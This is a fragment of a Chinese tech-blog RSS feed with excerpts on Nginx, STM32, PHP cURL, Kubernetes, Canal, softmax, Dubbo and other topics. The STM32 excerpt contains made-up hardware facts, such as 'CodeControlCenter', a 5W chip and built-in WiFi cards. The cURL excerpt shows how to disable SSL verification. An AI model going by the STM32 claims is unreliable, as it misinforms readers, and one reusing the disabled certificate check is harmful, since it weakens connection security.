Plus。&#xA;Nginx是用C语言开发的，它的设计目标是为了高性能和可扩展性。Nginx的源代码是开放的，它遵循BSD许可证，因此可以免费使用和修改。在全球范围内，Nginx已经成为一个非常流行的Web服务器和反向代理服务器，许多知名的网站和公司都在使用Nginx，例如Netflix、Pinterest、GitHub、WordPress等等。&#xA;对于一名初级使用Nginx的人员，需要掌握以下基本知识：&#xA;Nginx的基本概念和特性：初学者需要了解Nginx的基本概念，例如反向代理、负载均衡、静态文件服务、动态内容处理等等。还需要了解Nginx的一些基本特性，例如高性能、低资源占用、可扩展性和灵活性等等。&#xA;Nginx的安装和配置：初学者需要了解如何安装Nginx，并进行基本的配置。这包括配置Nginx的服务器块、虚拟主机、SSL证书、反向代理等等。&#xA;Nginx的日志管理：初学者需要了解如何配置和管理Nginx的访问日志和错误日志。这将帮助他们更好地了解Nginx的运行情况和问题。&#xA;Nginx的性能优化：初学者需要了解如何通过调整Nginx的配置来提高其性能。这包括使用缓存、开启Gzip压缩、限制访问速率等等。&#xA;Nginx的安全配置：初学者需要了解如何通过配置Nginx来保护Web应用程序的安全。这包括使用SSL证书、限制访问权限、防止DDoS攻击等等。&#xA;Nginx的常用命令和工具：初学者需要了解如何使用常用的Nginx命令和工具来管理和调试Nginx，例如nginx -t、nginx -s reload、nginx -s stop、nginx -s quit等等。&#xA;总的来说，初学者需要了解Nginx的基本概念、安装和配置、日志管理、性能优化、安全配置以及常用命令和工具。这将帮助他们更好地使用和管理Nginx。&#xA;以下是与Nginx类似的一些软件：&#xA;Apache：Apache是一个流行的开源Web服务器，也支持反向代理和负载平衡。与Nginx相比，Apache可以处理更多的并发请求，但它的性能通常比Nginx慢一些。&#xA;Lighttpd：Lighttpd是另一个轻量级的Web服务器，类似于Nginx，它也具有高性能和低资源占用的特点。与Nginx相比，Lighttpd的配置相对简单，但其性能也不如Nginx。&#xA;Caddy：Caddy是一个现代化的Web服务器和反向代理，类似于Nginx，它也具有高性能、低资源占用、可扩展性和灵活性等特点。与Nginx相比，Caddy的配置更加简单易用，但它的性能可能略低。&#xA;HAProxy：HAProxy是一款高性能的负载平衡器和反向代理服务器，类似于Nginx，它可以将请求转发到多个Web服务器，并确保请求的平衡分配。与Nginx相比，HAProxy的配置相对复杂，但它也具有更高的性能和更多的高级功能。&#xA;总的来说，与Nginx类似的软件有很多，每个软件都有其独特的优点和缺点。选择合适的Web服务器和反向代理服务器取决于具体的应用需求和环境。&#xA;2. nginx的Centos/Ubuntu系统安装和环境配置 （1）Centos系统安装Nginx&#xA;sudo yum update # Update the package repository sudo yum install epel-release # 默认情况下，CentOS存储库中没有Nginx软件包，需要添加Nginx存储库。 sudo yum install nginx # Install Nginx sudo systemctl start nginx # Start the Nginx service nginx -v # 验证Nginx安装 sudo systemctl status nginx # Verify that Nginx is running sudo systemctl enable nginx # Enable Nginx to start at boot time （2）Ubuntu安装Nginx</description>
    </item>
    <item>
      <title>物联网工程施工STM32</title>
      <link>https://bchobby.github.io/posts/ac34fc7ce682227453a7b8e5b3f87558/</link>
      <pubDate>Mon, 19 Jun 2023 19:45:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac34fc7ce682227453a7b8e5b3f87558/</guid>
      <description>目录&#xA;STM32&#xA;1.硬件结构&#xA;2.单片机&#xA;3.USB接口&#xA;4.电源管理&#xA;5.无线模块&#xA;STM32开发板样貌具体如下&#xA;STM32开发板的心得体会&#xA;STM32源码&#xA;STM32 STM32系列芯片是美国 ST公司生产的一款低功耗32位单片机，是目前市面上性价比最高的一款单片机。它的最大特点就是功耗低，只有5W。此外，还具有丰富的外围接口、低成本、高性能的特点。它以其众多优点成为很多开发板厂家首选的单片机之一。&#xA;1.接口丰富：除了常用的 UART、 SPI、串口外，还有两个网口用于网络通信。&#xA;2.支持 WIFI模块：通过 wifi可以实现手机对设备的控制。&#xA;1.硬件结构 STM32系列的开发板一般包括电源电路、复位电路、 IO口电路、 JTAG调试接口电路等。下面简单介绍下这几个电路。&#xA;1.电源部分：它主要包括电源 IC （外部供电芯片）和电源滤波电容，用来给芯片供电。另外，还需要配置一个220V交流转直流的接口。&#xA;2.复位电路：在复位时，需要把复位脉冲输出到 IC （外部复位开关）上，然后再把复位脉冲输出到复位开关的管脚上。通过这个复位脉冲可以使芯片恢复正常工作状态。&#xA;3. IO口部分：该部分主要由3个 IO口组成，分别是 UART、 SPI、 UART串口。在 UART口上还需要配置一个5V的复位输出和一个5V的 JTAG调试接口，用来接收串口数据并显示出来。在 SPI口上则需要配置一个3线的 JTAG调试接口，用于接收和发送调试数据。&#xA;4. JTAG调试接口： JTAG接口用于调试单片机的功能，在该接口上还需要配置一个复位输入和 JTAG调试输出接口。在这两个接口上还需要配置一个 JTAG调试输出和一个 JTAG测试输出接口。&#xA;2.单片机 单片机（英语： CodeControlCenter，缩写为 CCC），又称微控制器，是一种微型计算机，内建执行机构与程序存储器。单片机的运算速度快、功能强，功耗低、体积小，并具有高度可靠性和完善的保护机制等优点。广泛应用于工业控制、消费电子、网络通信等领域。单片机在电子设备中的应用日益广泛，如智能手机、平板电脑、便携式电脑、电视机顶盒、车载电脑等。单片机具有高度的智能化和自动化，体积小、功能强。随着嵌入式技术的发展，单片机成为嵌入式系统的核心。&#xA;单片机（CCC）是一种微型计算机，它由中央处理器（CPU）和内部存储器（RAM）及程序存储器（ROM）组成，是一种可以对外部存储设备进行操作和控制的微处理&#xA;3.USB接口 USB是英文 Universal Serial Bus的简称，即通用串行总线，是一种连接计算机和外部设备的串行外设接口，通过它可以使计算机的端口扩展成为一个外部总线接口。USB接口一般分为 USB1.1、 USB2.0和 USB3.0,其中 USB1.1和 USB2.0均支持热插拔；而 USB3.0则支持热插拔，即在不需要使用数据线连接时可以将数据线拔掉。相比而言， USB3.0的速度比 USB1.1快得多。&#xA;STM32的外设主要有：两个 UART、一个 SPI、两个 IO口、两个 WiFi网卡、一个串口扩展卡。&#xA;使用STM32的 USB接口，可以方便地把外设连接到 PC机，实现电脑和手机之间的数据传输。虽然现在大部分手机都支持 WiFi，但在一些智能手机上，为了实现数据传输还是需要通过 USB接口来实现。</description>
    </item>
    <item>
      <title>PHP 使用cURL 相关函数来设置代理、处理 SSL 证书</title>
      <link>https://bchobby.github.io/posts/2df642ce271e4f94f490851f31108bd4/</link>
      <pubDate>Mon, 19 Jun 2023 16:29:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2df642ce271e4f94f490851f31108bd4/</guid>
      <description>设置代理：&#xA;如果你需要通过代理服务器访问目标网址，你可以使用以下 cURL 相关函数来设置代理：&#xA;curl_setopt($ch, CURLOPT_PROXY, &#39;proxy.example.com:8080&#39;);：设置代理服务器的地址和端口。curl_setopt($ch, CURLOPT_PROXYUSERPWD, &#39;username:password&#39;);：如果代理服务器需要身份验证，使用此函数设置用户名和密码。 例如，要设置代理服务器为 proxy.example.com，端口为 8080，并需要进行身份验证，可以这样设置：&#xA;curl_setopt($ch, CURLOPT_PROXY, &#39;proxy.example.com:8080&#39;); curl_setopt($ch, CURLOPT_PROXYUSERPWD, &#39;username:password&#39;); 处理 SSL 证书：&#xA;当你使用 cURL 访问一个使用 SSL/TLS 加密的网址时，可能会遇到 SSL 证书验证的问题。以下是一些处理 SSL 证书的相关函数：&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);：禁用对服务器 SSL 证书的验证。这在开发和测试阶段可能会使用，但在生产环境中不推荐。curl_setopt($ch, CURLOPT_CAINFO, &#39;/path/to/cacert.pem&#39;);：指定一个包含受信任 CA 证书的文件路径，用于验证服务器 SSL 证书。你需要将 /path/to/cacert.pem 替换为你实际的 CA 证书路径。curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);：设置主机验证级别，可选择值为 0、1 或 2，其中 2 是最严格的级别。 下面是一个例子，展示如何禁用对服务器 SSL 证书的验证：&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 如果你有一个包含受信任 CA 证书的文件（通常是 PEM 格式），你可以使用以下方式来验证服务器 SSL 证书：&#xA;curl_setopt($ch, CURLOPT_CAINFO, &#39;/path/to/cacert.pem&#39;); 对于主机验证级别，你可以将其设置为 2 来进行严格的验证：</description>
    </item>
    <item>
      <title>PHP 使用curl_init()函数 访问API 获取数据</title>
      <link>https://bchobby.github.io/posts/22b73bcb1218efc26fcaf9292d36cd7f/</link>
      <pubDate>Mon, 19 Jun 2023 16:19:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22b73bcb1218efc26fcaf9292d36cd7f/</guid>
      <description>curl_init() 是 PHP 中用于初始化 cURL（Client URL）会话的函数。cURL 是一个功能强大的库，用于与各种服务进行网络通信，包括访问 API、发送 HTTP 请求等。&#xA;以下是使用 curl_init() 访问 API 获取数据的详细步骤：&#xA;安装和启用 cURL 扩展：&#xA;确保你的 PHP 环境已经安装了 cURL 扩展。你可以通过检查 phpinfo() 的输出来确认。如果未安装 cURL 扩展，请根据你的操作系统和 PHP 版本进行安装和配置。 创建 cURL 会话： 使用 curl_init() 函数创建一个 cURL 会话对象，并将其分配给一个变量，以便后续使用。&#xA;$ch = curl_init(); 设置 cURL 选项： 使用 curl_setopt() 函数设置各种 cURL 选项，以配置请求的行为。一些常见的选项包括： 设置请求的 URL：使用 CURLOPT_URL 选项设置请求的目标 URL。设置请求方法：使用 CURLOPT_CUSTOMREQUEST 选项设置请求的方法，如 GET、POST、PUT 等。设置请求头：使用 CURLOPT_HTTPHEADER 选项设置请求的头部信息，如认证、内容类型等。设置请求体数据：使用 CURLOPT_POSTFIELDS 选项设置请求的数据体内容，如表单数据、JSON 数据等。 curl_setopt($ch, CURLOPT_URL, &#34;https://api.example.com/endpoint&#34;); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ &#39;Content-Type: application/json&#39;, &#39;Authorization: Bearer your_token&#39;, ]); 执行请求并获取响应： 使用 curl_exec() 函数执行 cURL 请求，并将响应结果保存到一个变量中。 $response = curl_exec($ch); 处理响应： 可以根据需要对响应进行处理，如解析 JSON 数据、提取所需字段等。 if ($response === false) { // 请求失败的处理逻辑 $error = curl_error($ch); } else { // 请求成功的处理逻辑 $data = json_decode($response, true); // 处理响应数据 } 6.</description>
    </item>
    <item>
      <title>cdp hive3.1表为事务表和外部表的问题</title>
      <link>https://bchobby.github.io/posts/90d9e02e06bb16c8f2bbdb0972820ee8/</link>
      <pubDate>Mon, 19 Jun 2023 15:59:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90d9e02e06bb16c8f2bbdb0972820ee8/</guid>
      <description>参考文章&#xA;Apache Hive 3 tablesTable type definitions and a diagram of the relationship of table types to ACID properties clarifies Hive tables. The location of a table depends on the table type. You might choose a table type based on its supported storage format.https://docs.cloudera.com/cdp-private-cloud-base/latest/using-hiveql/topics/hive_hive_3_tables.htmlCDP中的Hive3系列之Hive3使用指南-阿里云开发者社区https://developer.aliyun.com/article/786518&#xA;注意 我的cdp配置&#xA;这个外表路径我修改过 最初好像是/warehoue/tablespace/external/hive 注意3.1的hive有如下默认参数&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.default.fileformat&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;TextFile&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt; Expects one of [textfile, sequencefile, rcfile, orc, parquet]. Default file format for CREATE TABLE statement. Users can explicitly override it by CREATE TABLE .</description>
    </item>
    <item>
      <title>第二讲《k8s资源介绍：Namespace与Pod 》</title>
      <link>https://bchobby.github.io/posts/c2e8887e2d2466b50471e40b4dae23af/</link>
      <pubDate>Mon, 19 Jun 2023 15:46:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2e8887e2d2466b50471e40b4dae23af/</guid>
      <description>一、namespace介绍 1.概念 在 Kubernetes 中，命名空间（Namespace） 提供一种机制，将同一集群中的资源划分为相互隔离的组。 同一命名空间内的资源命名要唯一，但跨命名空间时没有这个要求。 命名空间作用域仅针对带有命名空间的对象，例如 Deployment、Service 等， 这种作用域对集群访问的对象不适用，例如 StorageClass、Node、PersistentVolume 等。&#xA;2.集群默认的namespace 命名空间查看&#xA;[root@k8s-master test-namespace]# kubectl get namespace NAME STATUS AGE default Active 1d kube-node-lease Active 1d kube-public Active 1d kube-system Active 1d default 没有指明使用其它命名空间的对象所使用的默认命名空间&#xA;kube-system Kubernetes系统创建对象所使用的命名空间&#xA;kube-public 这个命名空间是自动创建的，所有用户（包括未经过身份验证的用户）都可以读取它。这个命名空间主要用于集群使用，以防某些资源在整个集群中应该是可见和可读的。 这个命名空间的公共方面只是一种约定，而不是要求。&#xA;kube-node-lease 此命名空间用于与各个节点相关的 租约（Lease）对象。 节点租期允许 kubelet发送心跳，由此控制面能够检测到节点故障&#xA;3.创建命名空间 用apply创建&#xA;[root@k8s-master test-namespace]# cat test-namespace.yaml apiVersion: v1 kind: Namespace metadata: name: test [root@k8s-master test-namespace]# kubectl apply -f test-namespace.yaml namespace/test created 用create创建的两种方式</description>
    </item>
    <item>
      <title>Idea&#43;maven&#43;springboot项目搭建系列--3 整合阿里云Canal完成Mysql数据的监听</title>
      <link>https://bchobby.github.io/posts/831ab59d2d2ce35c551b7e6a44b07d06/</link>
      <pubDate>Mon, 19 Jun 2023 14:41:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/831ab59d2d2ce35c551b7e6a44b07d06/</guid>
      <description>前言：在搭建canal 服务之后，项目中就可以连接canal ，完成对感兴趣的数据库及其表中数据的变动完成监听，本文依赖于你已经完成了对canal 服务的搭建工作；&#xA;1 Cannal 特点：&#xA;Canal是阿里巴巴开源的一款基于MySQL数据库的增量数据订阅和消费组件，能够把MySQL的binlog日志解析，转换成多种类型的事件回调给应用消费或同步到数据存储或搜索引擎等其他数据终端。它提供了类似数据流的方式，对数据进行持续性同步和协作，大幅度提升了数据处理的效率。&#xA;Canal的主要特点包括：&#xA;支持多种数据存储形式，包括MySQL、Oracle等，其设计和性能都针对常见的数据存储场景进行了优化；Canal结构清晰、易于上手，并且提供了完善的API和文档，能够方便地实现对数据流的订阅、消费和处理；Canal采用微服务架构，支持高可用和集群部署，能够保证数据的持久性和一致性，同时能够支持分布式的数据处理和存储；. Canal具有良好的稳定性、可靠性和灵活性，在实现数据库变更的实时同步和数据处理等方面具有广泛的应用价值。 Canal是一款高效、可靠、易用的开源组件，在数据库的数据同步和处理方面具有广泛的应用价值，同时也为企业快速实现数据同步和大规模数据处理提供了有效的技术支持。&#xA;2 springBoot 集成：&#xA;2.1 先来看下 Canal 客户端的消费流程：&#xA;canal server作为一个程序独立运行，在启动时会创建一个或多个线程来获取Binlog数据，同时监听与下游客户端的连接请求。&#xA;canal server连接MySQL主库或从库，并通过MySQL的binlog dump协议实现对Binlog数据的实时抓取。通过数据库相关API，canal server订阅mysql的binlog，并将获取到的Binlog写入内存或磁盘文件中。&#xA;当canal server捕获到新的Binlog数据时，会检测对应的数据源是否有相应的订阅（即canal.destinations参数配置），并将Binlog数据发送到对应的MQ Topic中。RocketMQ或其他MQ中间件将会缓存这些数据，等待下游的消费者来消费。&#xA;canal客户端作为消费者，通过订阅对应的MQ topic来获取Binlog数据，以实现对应用层的实时数据消费和处理。canal客户端在特定时刻发起订阅请求后，RocketMQ或其他MQ中间件会将缓存的数据推送给该客户端。&#xA;canal客户端在获取到Binlog数据后，会进行相应的处理和解析，并将结果写入配置的目标数据存储中（如MySQL、Redis等）。&#xA;canal server通过监听MySQL binlog dump协议，实现对Binlog实时抓取，并将数据推送到指定的MQ topic中。canal客户端可以通过订阅MQ topic得到实时的Binlog数据，以完成数据消费和处理，从而实现了MySQL数据的实时同步和处理。&#xA;通过canal 的消费流程我们可以知道：&#xA;canal server 端，会获取到mysql 的数据变化时，将数据解析后，封装成MQ 消息，放入到对应的topic 中；canal client 端，会通过订阅canal server 端 感兴趣的topic 从而消费数据； canal 实际上就是一个生产者和消费者的模型；canal server在默认情况下使用了RocketMQ作为消息队列，用于将解析出的binlog数据发送到下游的消费端，实现数据的异步传输和消息的可靠投递。&#xA;2.2 客户端 pom 依赖引入：每项依赖都进行了标注&#xA;&amp;lt;!-- 提供http 访问--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 提供实体类的get ，set ，toString 简化代码使用 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>phpstrom如何设置单击预览文件</title>
      <link>https://bchobby.github.io/posts/7c8d2ac5278a3aba3d899c92fe5a955c/</link>
      <pubDate>Mon, 19 Jun 2023 14:37:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c8d2ac5278a3aba3d899c92fe5a955c/</guid>
      <description> </description>
    </item>
    <item>
      <title>【深度学习】2-3 神经网络-输出层设计</title>
      <link>https://bchobby.github.io/posts/fdfbd593829eb805b67ef13c22a983ec/</link>
      <pubDate>Mon, 19 Jun 2023 14:35:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdfbd593829eb805b67ef13c22a983ec/</guid>
      <description>前馈神经网络(Feedforward Neural Network)，之前介绍的单层感知机、多层感知机等都属于前馈神经网络，它之所以称为前馈(Feedforward)，或许与其信息往前流有关：数据从输入开始，流过中间计算过程，最后达到输出层。&#xA;下面来看输出层如何设计&#xA;机器学习的问题大致可以分为分类问题和回归问题。&#xA;分类问题是数据属于哪一个类别的问题。例如区分图像中的人是男性还是女性&#xA;回归问题是根据某个输入预测一个（连续的）数值的问题，例如根据一个人的图像预测这个人的体重&#xA;分类和回归属于监督学习，之所以称之为监督学习，是因为这类算法必须知道预测什么，即目标变量的分类信息。&#xA;与监督学习相对应的是非监督学习，此时数据没有类别信息，也不会给定目标值。在非监督学习中，将数据集合分成由类似的对象组成的多个类的过程被称为聚类:将寻找描述数据统计值的过程称之为密度估计。此外，非监督学习还可以减少数据特征的维度，以便我们可以使用二维或三维图形更加直观地展示数据信息。&#xA;恒等函数和sigmoid函数和softmax函数&#xA;恒等函数主要用于对回归问题的激活，这种问题中往往需要最大程度的保护最后的输出结果，因为回归问题往往最后计算的结果是一个具体的权重，也是最终答案，那当然是原封不动的输出是最好的。所以恒等函数简单点来说那就是什么都不做&#xA;恒等函数会将输人按原样输出&#xA;sigmoid函数由于其限制在[0,1]中，所以很适合二元分类。&#xA;softmax函数充分考虑每一个输出结点的权重影响，从而使概率的描述更加准确，适合多元分类。&#xA;softmax函数可以用下面的式子表示&#xA;softmax函数的分子是输人信号的指数函数，分母是所有输人信号的指函数的和。（softmax所有值加起来是1）&#xA;使用python来实现softmax&#xA;def softmax(a): exp_a = np.exp(a) sum_exp_a = np.sum(exp_a) y = exp_a / sum_exp_a return y softmax 的缺陷就是溢出问题，因为使用指数计算，值会变得非常大，改进的代码如下：&#xA;def softmax(a): c = np.max(a) exp_a = np.exp(a - c) #溢出对策 sum_exp_a = np.sum(exp_a) y = exp_a / sum_exp_a return y 通过减少输入信号中的最大值来解决溢出的问题&#xA;softmax函数的特征&#xA;softmax函数的输出是0.0到1.0之间的实数。并且，softmax函数的输出值的总和是1。正是因为softmax函数的输出值的总和都是1，所以可以用概率（统计的）方法处理问题&#xA;关于理解机器学习的问题&#xA;机器学习的步骤可以分为“学习”和“推理”两个阶段&#xA;首先在学习阶段进行模型的学习，然后，在推理阶段，用学到的模型对未知的数据进行推理(分类）。&#xA;softmax函数用在学习不用在推理阶段&#xA;将softmax函数引入输出层&#xA;如下面例子：&#xA;def forward_net(network,x): W1 = network[&#39;W1&#39;] b1 = network[&#39;b1&#39;] W2 = network[&#39;W2&#39;] b2 = network[&#39;b2&#39;] W3 = network[&#39;W3&#39;] b3 = network[&#39;b3&#39;] x = np.</description>
    </item>
    <item>
      <title>使用Navicat Premium连接本地数据库</title>
      <link>https://bchobby.github.io/posts/e8aafc3d8b99f8f7c1a9db9bed8b2e2d/</link>
      <pubDate>Mon, 19 Jun 2023 14:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8aafc3d8b99f8f7c1a9db9bed8b2e2d/</guid>
      <description> 1.这是本地服务器项目 里面有config文件夹下有default.json文件，其中里面配置在连接数据库需要用到。&#xA;2.打开Navicat Premium，点击链接，选择mysql&#xA;3.连接名自定义，主机：因为后端的项目是本地的，所有这里用localhost或者127.0.0.1 都是表示本地的，密码是你一开始下载mysql设置的密码（同时要更改项目的密码，两者保持一致）填写完毕之后 可以先测试连接，连接成功就保存。&#xA;4.保存之后 ，双击你自定义的名字 就会高亮。&#xA;5.右击自定义的名字选择新建数据库，数据库名为项目配置里的database的，字符集utf8，排序规则utf8_general_ci 最后保存。 6.右击刚才创建的database，选择运行sql文件 会出现下面的弹框进行选择，最后点击开始&#xA;7. 以上操作就把本地数据库用navicat连接起来了，此时就可以到后端项目里安装node.js,并启动项目&#xA;安装环境：cnpm i&#xA;启动项目：node app.js&#xA;7.出现上面图，就表示你的后端项目跑了，可以访问了 </description>
    </item>
    <item>
      <title>利用VUE3生成二维码（两种方式）</title>
      <link>https://bchobby.github.io/posts/a450f036d4c96dae923f92e8fb40a976/</link>
      <pubDate>Mon, 19 Jun 2023 10:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a450f036d4c96dae923f92e8fb40a976/</guid>
      <description>vue有两种生成二维码的方式，qrcode、vue-qr（有icon）&#xA;1、qrcode npm ``install` `--save qrcodejs2 //所需页面导入 import QRCode from &#39;qrcodejs2&#39; &amp;lt;div ref=&#34;qrCodeUrl&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script setup lang=&#39;ts&#39;&amp;gt; import {onMounted,ref} from &#39;vue import QRCode from &#39;qrcodejs2&#39; const qrCodeUrl=ref&amp;lt;any&amp;gt;(null) const creatQrCode=()=&amp;gt; { var qrcode = new QRCode(qrCodeUrl.value, { text: &#39;https://blog.csdn.net/weixin_42601136&#39;, // 需要转换为二维码的内容 width: 100, height: 100, colorDark: &#39;#000000&#39;, colorLight: &#39;#ffffff&#39;, correctLevel: QRCode.CorrectLevel.H }) }, } onMounted() { creatQrCode(); } &amp;lt;/script&amp;gt; 2、vue-qr 可以增加icon&#xA;npm install vue-qr --save import vueQr from &#39;vue-qr&#39; &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>3-dubbo框架,应用程序,模块领域模型Model对象的初始化</title>
      <link>https://bchobby.github.io/posts/cf38482b8d5d2e71e94e169f19ee6f45/</link>
      <pubDate>Mon, 19 Jun 2023 08:49:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf38482b8d5d2e71e94e169f19ee6f45/</guid>
      <description>在上一章中我们详细看了服务配置ServiceConfig类型的初始化,不过我们跳过了AbstractMethodConfig的构造器中创建模块模型对象的过程&#xA;那为什么会在Dubbo3的新版本中加入这个域模型呢,主要有如下原因&#xA;之前dubbo都是只有一个作用域的，通过静态类 属性共享&#xA;增加域模型是为了:&#xA;1.让Dubbo支持多应用的部署，这块一些大企业有诉求&#xA;2.从架构设计上，解决静态属性资源共享、清理的问题&#xA;3.分层模型将应用的管理和服务的管理分开&#xA;可能比较抽象，可以具体点来开Dubbo3中在启动时候需要启动配置中心，元数据中心&#xA;这个配置中心和元数据中心可以归应用模型来管理，Dubbo作为RPC框架有需要启动服务和引用服务，服务级别的管理就交给了这个模块模型来管理，分层次的管理方便我们理解和处理逻辑，父子级别的模型又方便了数据传递。&#xA;了解过JVM类加载机制的同学应该就比较清楚 JVM类加载过程中的数据访问模型,子类加载器先去父类加载器去找不到则从子类型加载器中查找类型,Dubbo的分层模型类似这样一种机制,这一章先来简单了解下后面用到时候具体细说。&#xA;模型对象的关系 看最新图&#xA;模型对象一共有4个,公共的属性和操作放在了域模型类型中,下面我们来详细说下这几个模型类型:&#xA;ExtensionAccessor 扩展的统一访问器&#xA;用于获取扩展加载管理器ExtensionDirector对象获取扩展对象ExtensionLoader根据扩展名字获取具体扩展对象获取自适应扩展对象获取默认扩展对象 ScopeModel 模型对象的公共抽象父类型&#xA;内部id用于表示模型树的层次结构公共模型名称，可以被用户设置描述信息类加载器管理父模型管理parent当前模型的所属域ExtensionScope有:FRAMEWORK(框架),APPLICATION(应用),MODULE(模块),SELF(自给自足，为每个作用域创建一个实例，用于特殊的SPI扩展，如ExtensionInjector) 具体的扩展加载程序管理器对象的管理:ExtensionDirector域Bean工厂管理,一个内部共享的Bean工厂ScopeBeanFactory FrameworkModel dubbo框架模型，可与多个应用程序共享&#xA;FrameworkModel实例对象集合,allInstances所有ApplicationModel实例对象集合,applicationModels发布的ApplicationModel实例对象集合pubApplicationModels框架的服务存储库FrameworkServiceRepository类型对象(数据存储在内存中)内部的应用程序模型对象internalApplicationModel ApplicationModel 表示正在使用Dubbo的应用程序，并存储基本元数据信息，以便在RPC调用过程中使用。ApplicationModel包括许多关于发布服务的ProviderModel和许多关于订阅服务的Consumer Model。&#xA;ExtensionLoader、DubboBootstrap和这个类目前被设计为单例或静态（本身完全静态或使用一些静态字段）。因此，从它们返回的实例属于流程范围。如果想在一个进程中支持多个dubbo服务器，可能需要重构这三个类。所有ModuleModel实例对象集合moduleModels发布的ModuleModel实例对象集合pubModuleModels环境信息Environment实例对象environment配置管理ConfigManager实例对象configManager服务存储库ServiceRepository实例对象serviceRepository应用程序部署器ApplicationDeployer实例对象deployer所属框架FrameworkModel实例对象frameworkModel内部的模块模型ModuleModel实例对象internalModule默认的模块模型ModuleModel实例对象defaultModule ModuleModel 服务模块的模型&#xA;所属应用程序模型ApplicationModel实例对象applicationModel模块环境信息ModuleEnvironment实例对象moduleEnvironment模块服务存储库ModuleServiceRepository实例对象serviceRepository模块的服务配置管理ModuleConfigManager实例对象moduleConfigManager模块部署器ModuleDeployer实例对象deployer用于导出和引用服务 了解了这几个模型对象的关系我们可以了解到这几个模型对象的管理层级从框架到应用程序,然后到模块的管理(FrameworkModel-&amp;gt;ApplicationModel-&amp;gt;ModuleModel),他们主要用来针对框架,应用程序,模块的存储,发布管理,配置管理&#xA;ApplicationModel.defaultModel().getDefaultModule() 我们分析这一行做了哪些事情&#xA;使用双重校验锁获取框架模型对象 /** * During destroying the default FrameworkModel, the FrameworkModel.defaultModel() or ApplicationModel.defaultModel() * will return a broken model, maybe cause unpredictable problem. * Recommendation: Avoid using the default model as much as possible. * @return the global default FrameworkModel * * 在源码的注释上有这么一句话:在销毁默认的 FrameworkModel 时， FrameworkModel.</description>
    </item>
    <item>
      <title>chatgpt赋能python：Python除法:介绍、使用方法和注意事项</title>
      <link>https://bchobby.github.io/posts/3438fc0d0dd74c5c086f0d4673ff7d73/</link>
      <pubDate>Mon, 19 Jun 2023 01:19:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3438fc0d0dd74c5c086f0d4673ff7d73/</guid>
      <description>Python除法: 介绍、使用方法和注意事项 Python是一门既简单又高效的编程语言，在数据科学、人工智能、Web应用等领域都有很广泛的应用。其中，Python的除法是编写代码时经常用到的一个基础运算符。本文将介绍Python中除法的使用方法、注意事项以及一些常见问题的解决方法。&#xA;什么是Python除法？ 在Python中，除法是一种基本的算术操作，用于将一个数值除以另一个数值，并返回结果。Python中有两种不同的除法操作：&#xA;/：普通除法，返回一个浮点数，即使是两个整数相除也是如此。//：整除法，返回一个整数，即忽略余数，只返回整数商。 使用方法 在Python中使用除法非常简单。我们可以使用除号（/）或双斜杠符号（//）来执行普通除法或整除法。&#xA;# 普通除法 result = 10 / 2 print(result) # 输出：5.0 # 整除法 result = 10 // 3 print(result) # 输出：3 需要注意的是，如果运算的两个数都是整数，那么使用普通除法 / 也会返回一个浮点数。这种情况下，如果想要返回一个整数商，应该使用整除法 //。&#xA;result = 10 / 3 print(result) # 输出：3.3333333333333335 result = 10 // 3 print(result) # 输出：3 注意事项 在使用Python除法时，需要注意以下几点：&#xA;除数不能为零 在任何编程语言中，除数不能为零。否则程序将会抛出 ZeroDivisionError 异常。因此，在编写代码时，需要确保输入数据中不包含除以零的情况。&#xA;result = 10 / 0 # 抛出 ZeroDivisionError 异常 浮点数精度问题 在Python中，浮点数的精度问题经常会导致意想不到的结果。例如，下面的代码执行的结果可能不是你期望的：&#xA;result = 0.1 + 0.</description>
    </item>
    <item>
      <title>Error querying database. Cause: java.lang.IndexOutOfBoundsException: Index: 6, Size: 6</title>
      <link>https://bchobby.github.io/posts/7ebef8681f2746148722c07c7edee800/</link>
      <pubDate>Sun, 18 Jun 2023 20:32:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ebef8681f2746148722c07c7edee800/</guid>
      <description>项目突然报这个错误，研究半天，找到解决办法。&#xA;项目请求获取token接口，如下提示。&#xA;查看后端报错详细信息。贴出一段比价有价值的报错信息&#xA;Caused by: org.apache.ibatis.exceptions.PersistenceException: ### Error querying database. Cause: java.lang.IndexOutOfBoundsException: Index: 6, Size: 6 ### The error may exist in file [D:\IDEAWORKSPACE\YJFDataPlatform\yjf-server\target\classes\mapper\TsysAccountMapper.xml] ### The error may involve com.cn.yjf.server.dao.TsysAccountMapper.selectByName ### The error occurred while handling results ### SQL: select account_id, user_id, username, password, status, active from t_sys_account WHERE username = ? limit 1 ### Cause: java.lang.IndexOutOfBoundsException: Index: 6, Size: 6 at org.apache.ibatis.exceptions.ExceptionFactory.wrapException(ExceptionFactory.java:30) at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:153) at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:145) at 